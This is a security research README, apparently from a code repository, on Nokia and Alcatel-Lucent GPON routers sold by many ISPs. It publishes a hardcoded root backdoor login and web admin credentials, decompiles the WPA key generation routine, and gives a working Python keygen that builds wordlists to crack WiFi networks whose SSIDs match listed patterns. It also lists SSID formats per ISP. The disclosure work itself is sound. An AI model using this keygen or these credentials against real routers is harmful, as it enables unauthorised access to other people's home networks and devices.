WPA and admin password generator for Nokia and Alcatel CPEs

Giulio b447889865 Uodated tables of providers 4 years ago
bin 4bdc545d29 Public draft 4 years ago
firmware 4bdc545d29 Public draft 4 years ago
images 4bdc545d29 Public draft 4 years ago
poc ff52954cad Fix off-by-one error 4 years ago
xml 4bdc545d29 Public draft 4 years ago
Readme.md b447889865 Uodated tables of providers 4 years ago

Readme.md

ALU/Nokia GPON Admin and WIFI keygen

Authors

Intro

In recent years in Italy the development of Fiber To The Home technology has finally started, with the public traded company OpenFiber doing most of the infrastructure work. The network is then resold through the many partner providers.

It has been the case also for other countries in the world and almost everywhere the standard for residential optical connection is GPON. This research by Pierre Kim is extremely useful to better understand the standard and the network topology and also provides a nice overview of its security.

This type of connection requires different equipment than ADSL/VDSL and thus specific GPON gateways are now available on the market, either as standalone devices (GPON to SFP, GPON to RJ45) or as fully featured CPEs.

Technicolor, along with Alcatel-Lucent, Nokia and Huawei are the leading manufactures of these devices and the suppliers for ISPs. Unsurprisingly, many different devices from even different companies have the same components and sometimes even share some software stack: below is a noncomprehensive table of confirmed and suspected devices having the same common problems described later. Apparently there's also a reseller called Zhone that customizes the same CPE for some ISPs. Eltex might be another one.

UPDATE: Thanks to some contributions some ISPs not in the original XML files have been added and other have been updated.

CODE Country ISP Manufacturer Model SSID Format
MXXT Mexico Telmex Nokia G-240W-B INFINITUM%4s_2.4
PTXX Indonesia Speedy Unknown Unknown speedy@%02x%02x
ALCL Generic Unknown Unknown Unknown ALHN-%s
SRBJ Serbia Unknown Unknown Unknown ALHN-%s
ORGS Generic Unknown Unknown Unknown ALHN-%s
VFSP Spain Vodafone Unknown Unknown vodafone%4m
HGXX Generic Unknown Unknown Unknown ALHN-%s
ENTB Colombia ETB Alcatel-Lucent I-240W-A FibraETB%s
AXTE Mexico Axtel Unknown Unknown XTEL-XTREMO-%s
IUSA Mexico Iusacell Unknown Unknown ALU-I240WA-%s
STXX Saudi Arabia STC Nokia G-240W-B STC_WiFi_%4s
DUXX United Arab Emirates Du Telecom Unknown Unknown ALHN-%s
ITPC Iraq Unknown Unknown Unknown ALHN-%s
KAZA Kazakhstan Kazakhtelecom Unknown Unknown ALHN-%s
TKRG Turkey Turk Telecom Unknown Unknown ALHN-%s
ITAX Italy Wind Nokia/Alcatel-Lucent G-240W-B/I-240W-Q ALHN-%s
VIET Vietnam Viettel Alcatel-Lucent G241W-A VIETTEL-%4s
ETIS United Arab Emirates Etisalat Nokia G-240G-C ONT%fs2.4G
ATEB Saudi Arabia GO Telecom Unknown Unknown GO_WiFi_%4s
TRUE Thailand True Internet Unknown Unknown true_home2G_%01x%02x
SIGH Singapore Singtel Alcatel-Lucent Unknown SINGTEL-%4s
VFTK Turkey Vodafone Turkey Unknown Unknown VodafoneNet
MXXV Mexico Telmex Unknown Unknown ALHN-%s
SAIB Mexico Telmex Unknown Unknown ALHN-%s
LATT Latvia Lattelekom Unknown Unknown ALHN-%s
JPNX Japan Unknown Unknown Unknown ALHN-%s
LAOS Laos Sky Telecom Unknown Unknown SKYTEL-%4s
VIVA Bulgaria Vivacom Unknown Unknown VIVACOM_FiberNet-%4s
PXSF Belgium Belgacom Unknown Unknown Unspecified
OCIT Ivory Coast Orange Ivory Coast Nokia G-240W-A ORANGEFIBER-%4s
Unknown Caraibes Canalbox Caraibes Unknown Unknown CANALBOX-%4s
Unknown Poland Inea Unknown Unknown INEA-%4s

FCC Infos

Different enclosures or slight variants of the same board can be identified by looking at the documents published by Nokia for the FCC.

Pictures

front Nokia G240W-B

Models

The models which share the same firmware, or at least part of it, according to some code we reversed, are:

B0404G - B-0404G-B - F-010G-A - F010GA - F-010G-B - F010GB - F-240W-A - F240WA - G-010F-A - G-010F-B - G-010G-A - G-040F-A - G-040F-B - G-040G-A - G040GA - G-110G-A - G110GA - G-211M-A - G-240G-A - G240GA - G-240G-B - G-240G-C - G240GC - G-240G-D - G240GD - G-240W-A - G-240W-B - G-240W-D - G-240WZ-A - G-241W-A - G-440G-A - G440GA - G-821G-B - G821GB - G-821M-A - G-881G-A - G881GA - G-881G-B - G881GB - GP-240G-A - GP240GA - HN-5224-XG - I-010G - I-010G-C - I-040E - I-120E - I-120E-Q - I-120E-QT - I-120G-B - I-240E - I-240E-Q - I240GB - I-240G-D - I240GD - I-240W - I-240W-A - I240WA - I-240W-B - I240WB - I-240W-Q - I-240W-QT - MCMB-A - RG200O-CA - RG201O-CA - RG221O-CA - SRNT-A - TW-080GX-A - TW-240GX-A

Hardware

The board itself has 128MB flash and 256MB RAM. An additional SPI Flash of 16MB is soldered on the back of the board.

/proc/mtd

mtd0: 00080000 00020000 "cferom"
mtd1: 00080000 00020000 "nvram"
mtd2: 00c00000 00020000 "cfg"
mtd3: 00680000 00020000 "jff2_0"
mtd4: 00680000 00020000 "jff2_1"
mtd5: 02600000 00020000 "rootfs0"
mtd6: 02600000 00020000 "rootfs1"
mtd7: 01a00000 00020000 "log"
mtd8: 0237b000 0001f000 "0"
mtd9: 0000000c 0001f000 "0"
mtd10: 00a0d000 0001f000 "1"
mtd11: 01702000 0001f000 "0"
mtd12: 0237b000 0001f000 "0"

It seems to be using the CFE bootloader, which is described here.

/proc/cpuinfo

system type             : 968380GERG
processor               : 0
cpu model               : Broadcom BMIPS4350 V8.0
BogoMIPS                : 598.01
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
ASEs implemented        :
shadow register sets    : 1
kscratch registers      : 0
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

processor               : 1
cpu model               : Broadcom BMIPS4350 V8.0
BogoMIPS                : 606.20
wait instruction        : yes
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
ASEs implemented        :
shadow register sets    : 1
kscratch registers      : 0
core                    : 0
VCED exceptions         : not available
VCEI exceptions         : not available

The main SoC and the GPON module are made by Broadcom.

Both 2.4Ghz and 5Ghz wifi are supported and seems to be made by Quantenna. They seem to be powered by the Topaz chipset, which has recently been added to the Linux Kernel for which there's a lack of binaries in linux-firmware but there's an interesting discussion here. Additional code might be present in the Google Fiber repository.

A Complete Mess

There are already known backdoors like described [here(https://www.websec.ca/publication/Blog/backdoors-in-Zhone-GPON-2520-and-Alcatel-Lucent-I240Q). While my device does not have the SSH service exposed it does have telnet on port 23. A root shell can be easily obtained by simply logging in via ONTUSER:SUGAR2A041.

Once logged in it easy to find that the manufacturer actually committed all specific customizations to every device. There are indeed plenty of files not useful for this specific model, a dozen different web interfaces and configuration files for any ISP on the table above. There's also a lot of debugging mess, like this one:

/bcm/script/add_asb_user.sh

#!/bin/sh

#add debug ONTUSER and config ONTUSER env, add by xufuguo, 20120808
#Note: don't chang PS1, bob calibration software need terminal prefix just "#"
#update for R30 read-only rootfs, modify by xufuguo, 20130816

exist=no
preconfig=no
home_dir=/configs/home

while read LINE
do
        temp=$(echo $LINE | awk -F : '{print $1}')
        if [ "${temp}" != "ONTUSER" ]; then
                continue
        fi
        exist=yes
        break
done < /etc/passwd

# BRCM use confignew.cfg
if [ ! -f /configs/config.cfg -a  ! -f /configs/confignew.cfg ]; then
        preconfig=yes
fi

if [ "${exist}" = "no" -o "${preconfig}" = "yes" ]; then
        rm -f /configs/etc/*+ #clean up temp files
        [ -d ${home_dir} ] || mkdir -p ${home_dir}
        sed -i -e '/ONTUSER/'d /configs/etc/passwd #del username,passwd,config file
        sed -i -e '/ONTUSER/'d /configs/etc/shadow
        rm -rf ${home_dir}/ONTUSER
        op_id=$(ritool get OperatorID | awk -F : '{print $2}')
        if [ "${op_id}" = "0000" -o ! -f /usr/sbin/vtysh ];then #factory mode
                adduser -D -h ${home_dir}/ONTUSER -G wheel ONTUSER
        else
                adduser -D -h ${home_dir}/ONTUSER -G wheel ONTUSER -s /usr/sbin/vtysh
        fi
        echo "ONTUSER:SUGAR2A041" | chpasswd -m > /dev/null 2>&1
        echo "export PS1=\"[\\u@\\h: \\W]\\\\\$ \"" >> ${home_dir}/ONTUSER/.bashrc

        #chang uid to 0 for get root authorization
        source /bcm/script/rootmod.sh ONTUSER

        sync
fi

That's how bad it is and Wind experienced it first hand when in 2017 a wrong update exposed the telnet port on the internet allowing the infamous BrickerBot to turn almost 20000 CPEs in total electronic garbage (well, more than they were before). Yep, they had to freely ship a new modem to everybody and people suffered multiple days of total downtime.

Configuration tools

There are two useful configuration tools called cfgcli and ritool.

Cfgcli

cfgcli is used to configure all the properties of the user in an XML like structure. It can be used to retrieve VOIP, PPP, TR69, SLID and many more information.

A simple cfgcli dump will return all properties.

cfgcli  -a  list all  DataModule Element.
        -e [TagName]  list Elemnts within special tag.
        -d [0|1|2|3|4|0xFF]  set debug level. 0 off 1 error 2 debug
           3 allOnBoot 4 allOffBoot 0xFF all.
        -o [0|1|2|3]  stdin|stderr|syslog|telnet
        -s [path value] set parameter value by path.
        -g [path]  get parameter value by path.
        -f force to write, only used with -s.
        -r [flag] reset to default.
           flag is optional, can be "all" to remove remote pre-config togather.
        -k reset to default with key parameter info.
        -t feed watchdog.
        <command> [option] <cmd_args...>; command to run.
        help; print help of cfgcli command.
        -h help.
cfgcli <command> [option] [cmd_args...]; command to run.
    help
        print this help. you can use: cfgcli -h get other help.
    load_remote_pre [-r] <path>
        load remote pre-configuration. option -r to specify if reboot.
    load_remote_cfg <path>
        load remote configuration update.
    remove_remote_pre
        remove remote pre-configuration.
    remove_remote_cfg
        remove remote configuration update.
    add <URI>
        add dynamic node by URI.
    del <URI>
        del dynamic node by URI.
    set <URI> <value>
        set node's value by URI.
    set <URI> <attribute> <value>
        set node's attribute value by URI.
    get <URI>
        get node's value by URI.
    get <URI> <attribute>
        get node's attribute value by URI.
    dump <URI|NodeName>
        dump node XML string by URI or by node name matched.
    debug precfg_debug_mode
        Display current precfg debug status.
    debug precfg_debug_mode <enable|disable>
        Set precfg debug status.
 <====================== private data model manage commands ===================>
    dumpwan    - to dump the existing wan interfaces
    createwan <type> <vlan> <pbit> - to create a wan interface, default to INTERNET only
        type   - 1 dhcp
        type   - 2 pppoe
    deletewan <id> - delete specific wan
    showport   - show all port type and voice config type to determinate the wan interface upper limit
    showlayer3 - show all the layer3 forwarding entries

Ritool

Apparently all devices and boards have the same flash content except for some specific data, like the serial number, the operator id and so on. These OEM binaries manage this data through a lib called /lib/libri.so which interacts with a device /dev/ri_drv. This device is controlled by a proprietary Broadcom kernel module called /bcm/bin/ri.ko. What this module does is basically reading and writing values to an I2C EEPROM.

The usage is really basic

Usage:
    ritool [OPTIONS] ....

OPTIONS
    -h, help
            Output a small usage guide
    init
            initialize all ri value
    get
            get specified ri value
    set
            set specified ri value
    dump
            dump all ri value

The dump command returns all stored variables:

the Format:01
the MfrID:ALCL
the Factorycode:02
the HardwareVersion:3FE56756AABB
the ICS:01
the YPSerialNum:        B133F2B0
the CleiCode:0000000000
the Mnemonic:G-240W-B
the ProgDate:170720
the MACAddress:f8:44:e3:d6:63:f0
the DeviceIDPref:3030
the SWImage:3030
the OnuMode:0003
the Mnemonic2:
the Password:30303030303030303030
the G984Serial:b133f2b0
the HWConfiguration:3030303030303030
the PartNumber:3FE56756BAAA
the Variant:AA
the Spare4:303030303030303030303030
the Checksum:c9e2
the InserviceReg:3030
the UserName:       userAdmin
the UserPassword:00000000
the MgntUserName:      adminadmin
the MgntUserPassword: ALC#FGU
the SSID-1Name:0000000000000000
the SSID-1Password:00000000
the SSID-2Name:0000000000000000
the SSID-2Password:00000000
the OperatorID:ITAX
the SLID:30303030303030303030303030303030
the CountryID:eu
the Spare5:303030303030
the Checksum1:01e4
the Spare6:3030
the RollbackFlag:ffff
ProductClass[G-240W-B] Platform[29] Uplink[GPON] Type[HGU] EthPorts[4] EnetPortType[GE] POTS[2] USB[2] WIFI[2] SIM[0] IsBosa[4] SlicType[LE9540] WifiType[BCM4331QTN11AC] JDM[T&W] SOC[BRCM_68380]

The most important ones are G984Serial which is the serial value actually used in all the system and OperatorID which defines the branding of the modem. PartNumber defines the actual board model.

So, for instance, with

ritool set OperatorID AXTEL

It's possible to brand the modem for Mexico's Axtel. To force the modem to reconfigure after a change a factory reset is necessary. To do so press the shortest button on the back for at least 10 seconds while it is powered on.

Password Generation

labels

While it is impossible to know in advance, most of the time this kind of device generates a unique password following a hardcoded algorithm. It is extremely rare for the manufacturer to manually insert secrets in every device and the automatic generation solution may be secure given that the algorithm is seeded by data unknown to a potential attacker.

Bad examples include passwords generated based on MAC Address while password based on serials are often better, given that an attacker has no way to know it and it is not derived from other known data. In this case however the serial is partially predictable and partially known to an attacker thanks to its inclusion in the SSID so a secure implementation should use something else.

Note also that a WPA Key always comprised only of ten digits can be cracked using Hashcat with a GTX 1070 in less than 10 hours.

Where to Look

There's an interesting file in /etc/preconfiguration_global.xml. It contains the automatic configuration instructions for every ISP supported.

<WLAN_1. n="WLAN_1" a="static">
        <Enable t="string" ml="12" v="true" dburi="InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.Enable"/>
        <MACAddressControlEnabled t="string" ml="12" v="false" dburi="InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.MACAddressControlEnabled"/>
        <Standard t="string" ml="12" v="b,g,n" dburi="InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.Standard"/>
        <ssidName t="string" ml="64" v="" fri="alhn_genssid1" dburi="InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.SSID"/>
        <Powerlevel t="string" ml="4" v="100" dburi="InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.TransmitPower"/>
        <BeaconType t="string" ml="4" v="WPAand11i" dburi="InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.BeaconType"/>
        <WPSEnable t="string" ml="12" v="1" dburi="InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.WPSEnable"/>
        <PreSharedKey t="string" ml="64" v="" fri="genpwd_longpasswd" dburi="InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.PreSharedKey.1.PreSharedKey"/>
</WLAN_1.>

By looking at other files and binaries, upon parsing this XML do the following:

  • For every ISP there's a root element with its code: ITAX is Wind Italy
  • Every nested element is a configuration section. Useful information includes TR-69 URLs and credentials, PPP credentials and WIFI SSID and Key
  • A single line can contain a static value or a string that map to a specific function in a configuration binary:
    • fri value is the function
    • v value is an optional argument

The responsible binary is /sbin/cgfmgr which starts at boot and stays alive during all the normal device operation.

Reversing

By reversing this binary and using ritool to perform dynamic tests it's pretty easy to understand how things work.

Essentially the various fields inside the XML file may be hardcoded or generated using some runtime code and configurations.

Often there is something which looks like a format string and then another attribute which specifies how to use that string.

This is an example snippet of such a scheme

<ssidName t="string" ml="64" v="ALHN-%4s-11ac-4" fri="genssidfmt" dburi="SSID"/>

This mechanism is not used only for WLAN passwords and the concepts can be applied more broadly.

By inspecting the XML we can identify just a bunch of "format strings" and few values for the attribute "fri".

Another example is the following

<ssidName t="string" ml="64" v="" fri="alhn_genssid1" dburi="InternetGatewayDevice.LANDevice.1.WLANConfiguration.1.SSID"/>

In this case, if we search for the corresponding C code inside cfgmgr we can find how the "format string" is actually shaped

snprintf(ssidName,0x40,"ALHN-%s",__n + 0x74c4ee);

We leave to the reader the pleasure of reversing the XML and the binary for a complete and detailed understanding of what is going on (BONUS: lots of cleartext hardcoded credentials can be found during this process...)

For what we are concerned there are just a few ideas that we need to make clear.

First of all, these are not exactly format strings. By inspecting the code/doing test with ritool it's immediate to understand that the meaning of the most used"format strings" is the following:

  • %4s: lower 2 bytes of the serial code, represented in hex
  • %4m: lower 2 bytes of the MAC address, represented in hex
  • %8m: lower 4 bytes of the MAC address, represented in hex

The point of our research is to find cases where WLAN passwords can be efficiently cracked by knowing public informations such as the SSID and the MAC address.

An immediate case that doesn't even require further reversing is when the WLAN inside the XML uses the lower bytes of the MAC address as a password.

<PreSharedKey t="string" ml="64" v="%8m" fri="genssidfmt" dburi="PreSharedKey.1.PreSharedKey"/>

This happens for 3 WLANs described inside the XML.

The other case that we will publicly present is when the SSID contains a piece of the serial code and the password is generated using gen_mgntlongpw_and_wanpw function.

Essentially we are now talking about all the WLANs which use a format string containing %4s combined with genssidfmt for the SSID generation and gen_mgntlongpw_and_wanpw for the password generation.

This also works for the WLANs which have fri=alhn_genssid1 and use gen_mgntlongpw_and_wanpw for the password generation.

Below there is the decompiled code we can get from Ghidra with some manual analysis hints and variable renaming.

/* WARNING: Could not reconcile some variable overlaps */

undefined4
gen_mgntlongpw_and_wanpw
          (undefined4 oui,char *serialnum_string,char *longpasswd_dst,char *wanpasswd_dst)

{
  undefined8 longpasswd;
  int i;
  uint n2;
  uint n1;
  char secret1 [32];
  char secret2 [32];
  undefined4 serialnum_int;
  char md5_secret1 [16];
  char md5_secret2 [16];
  char strToBase32Encode [19];
  undefined wanpasswd [32];
  
  if (enter != 1) {
    log_log(2,"gen_mgntlongpw_and_wanpw",0x112,"enter\n");
    sscanf(serialnum_string,"%x",&serialnum_int);
    sprintf(secret1,"%s-ALCL%s",oui,serialnum_string);
    sprintf(secret2,"%s-01%u",oui,serialnum_int);
    md5(secret1,md5_secret1);
    md5(secret2,md5_secret2);
    strToBase32Encode._0_4_ = md5_secret1._0_4_;
    strToBase32Encode._4_4_ = md5_secret1._4_4_;
    strToBase32Encode._8_4_ = md5_secret1._8_4_;
    strToBase32Encode._12_4_ = md5_secret1._12_4_;
    strToBase32Encode[16] = md5_secret2[0];
    strToBase32Encode[17] = md5_secret2[1];
    strToBase32Encode[18] = md5_secret2[2];
    base32_probably(strToBase32Encode,0x13,wanpasswd,0x20);
    snprintf(wanpasswd_dst,0x1f,"%s",wanpasswd);
    n1 = 0;
    n2 = 0;
    i = 0;
    while (i < 8) {
      n2 = n1 >> 0x18 | n2 << 8;
      n1 = n1 << 8 | (uint)(byte)md5_secret2[i + 8];
      i = i + 1;
    }
    longpasswd = __umoddi3(n2,n1,2,0x540be400);
    snprintf(longpasswd_dst,0xb,"%010llu");
    log_log(2,"gen_mgntlongpw_and_wanpw",0x134,"succeed!\n",longpasswd);
    enter = 1;
  }
  return 0;
}

The actual inputs are only the OUI (available in the XML and also easily bruteforceable) and a serial number, since the other two parameters are just destinations to store the generated passwords.

The code is pretty straightforward, at first it generates two strings and computes their MD5 hashes.

Then it concatenates the first hash and the first 3 bytes of the second, and encodes all of this as base32. The result is truncated and represents the first password.

For the second password instead it generates two numbers using the bytes of the second MD5, which will be used as lower and upper bits of a 64 bit integer. The password is simply this number modulus 0x20x540be400.

PoC Keygen

With this information we can write a PoC script that can produce a wordlist to efficiently crack a vulnerable SSID.

#!/usr/bin/env python3

import argparse, base64,  hashlib, re

def genpwd_longpasswd(oui, serialnum):
	def str2md5(string):
		m = hashlib.md5()
		m.update(string.encode("ascii"))
		return m.digest()

	#secret1 = "%s-ALCL%s" % (oui, serialnum)
	secret2 = "%s-01%u" % (oui, int(serialnum, 16))

	#md5_secret1 = str2md5(secret1)
	md5_secret2 = str2md5(secret2)

	#wanpasswd = base64.b32encode(bytes(bytearray(md5_secret1[:16] + md5_secret2[:3]))).decode("ascii")[:30]

	lower = upper = 0

	for i in range(8):
		upper = (lower >> 0x18 | ((upper << 8)&0xffffffff))&0xffffffff
		lower = (((lower << 8)&0xffffffff) | md5_secret2[i + 8])&0xffffffff

	longpasswd = ((upper<<32)+lower)%0x2540be400

	return longpasswd

parser = argparse.ArgumentParser(prog="poc", description="A poc script to efficiently crack vulnerable routers")
parser.add_argument("ssid", type=str, help="the ssid to attack")
args = parser.parse_args()

oui   =     "D0542D"

ssids = [   "VIETTEL-[A-F0-9]{4}",
            "SKYTEL-[A-F0-9]{4}",
            "SINGTEL-[A-F0-9]{4}-5G-1",
            "SINGTEL-[A-F0-9]{4}",
            "ORANGEFIBER-[A-F0-9]{4}",
            "INFINITUM[A-F0-9]{4}_5-4",
            "INFINITUM[A-F0-9]{4}_5-3",
            "INFINITUM[A-F0-9]{4}_5-2",
            "INFINITUM[A-F0-9]{4}_5",
            "INFINITUM[A-F0-9]{4}_2.4-4",
            "INFINITUM[A-F0-9]{4}_2.4-3",
            "INFINITUM[A-F0-9]{4}_2.4-2",
            "INFINITUM[A-F0-9]{4}_2.4",
            "GO_WiFi_[A-F0-9]{4}",
            "ALHN-[A-F0-9]{4}-4",
            "ALHN-[A-F0-9]{4}-3",
            "ALHN-[A-F0-9]{4}-11ac-4",
            "ALHN-[A-F0-9]{4}-11ac-3",
            "ALHN-[A-F0-9]{4}-11ac-2",
            "ALHN-[A-F0-9]{4}-11ac",
            "ALHN-[A-F0-9]{4}"]

wordlist = set()

for s in ssids:
    if re.match(s, args.ssid) != None:
        serialBytes = args.ssid
        for r in s.split("[A-F0-9]{4}"):
            serialBytes = serialBytes.replace(r, "")
        for i in range(0xffff + 1):
            candidate = genpwd_longpasswd(oui, "{:04x}{}".format(i, serialBytes))
            print(f"{candidate:010}")
        break

We can quickly check this script against a test network. SSID=INFINITUMF2B0_2.4-3 and PASSWORD=3345321247.

./keygen.py INFINITUMF2B0_2.4-3 | grep 3345321247
3345321247

This is a very basic and partial PoC. We considered it to be enough to prove the point without publishing too many sensible things, but extending this keygen to handle all the possible vulnerable SSIDs, and the WLANs which use hardcoded password is pretty trivial.

Wind Keygen

By analyzing listings on eBay and other sites with high-resolution pictures it was possible to build a small statistical set for the serial of devices distributed in Italy by Wind. The first byte of the serial is almost always B1 with a few exceptions of F2.

In most cases also the second byte has just a dozen possibilities. While we're not going to release the dataset, it was possible, using the previous assumptions, to build a keygen with just a few different outputs, sorted by probability.

The number of possible attempts should be low enough to just try manually connecting without the need of aircrack and offline cracking.

Wind Keygen

Unlocking

Before everything dump your config:

  • cfgcli dump
  • ritool dump

If you don't you may break your internet connection by losing your SLID or break your VOIP number by losing the credentials.

For those looking to use a branded CPE with a different GPON ISP here are the steps:

  • If neither telnet nor SSH is available try to enable one of them via the web interface in the Access Control page. Admin credentials are all in preconfiguration_global.xml.
  • Login via telnet or SSH using ONTUSER:SUGAR2A041.
  • Run ritool set OperatorID ALCL.
  • Press the reset button for 10 seconds and wait for a reboot.
  • Connect either via cable or using the preconfigured password. SSID will be ALHN-%4s
  • Router ip will be 192.168.1.254
  • ONTUSER backdoor will always be there. User and password for the web panel are AdminGPON:ALC#FGU. Also there's a lower privileged user called userAdmin with the same password as the wifi.

Acknowledgements

Almost a decade ago a group of unknown Italian researchers broke the algorithms for two of the local main ISP, Telecom and Fastweb. At the time I was a kid and, while it looked like black magic to me, I still found their research inspiring.

There's also some interesting work on the topic by blasty.

Contributions

Contributions of other models, ISP branding and sample data of SSIDs, serials and keys are welcome. Feel free to open an issue or contact us via email.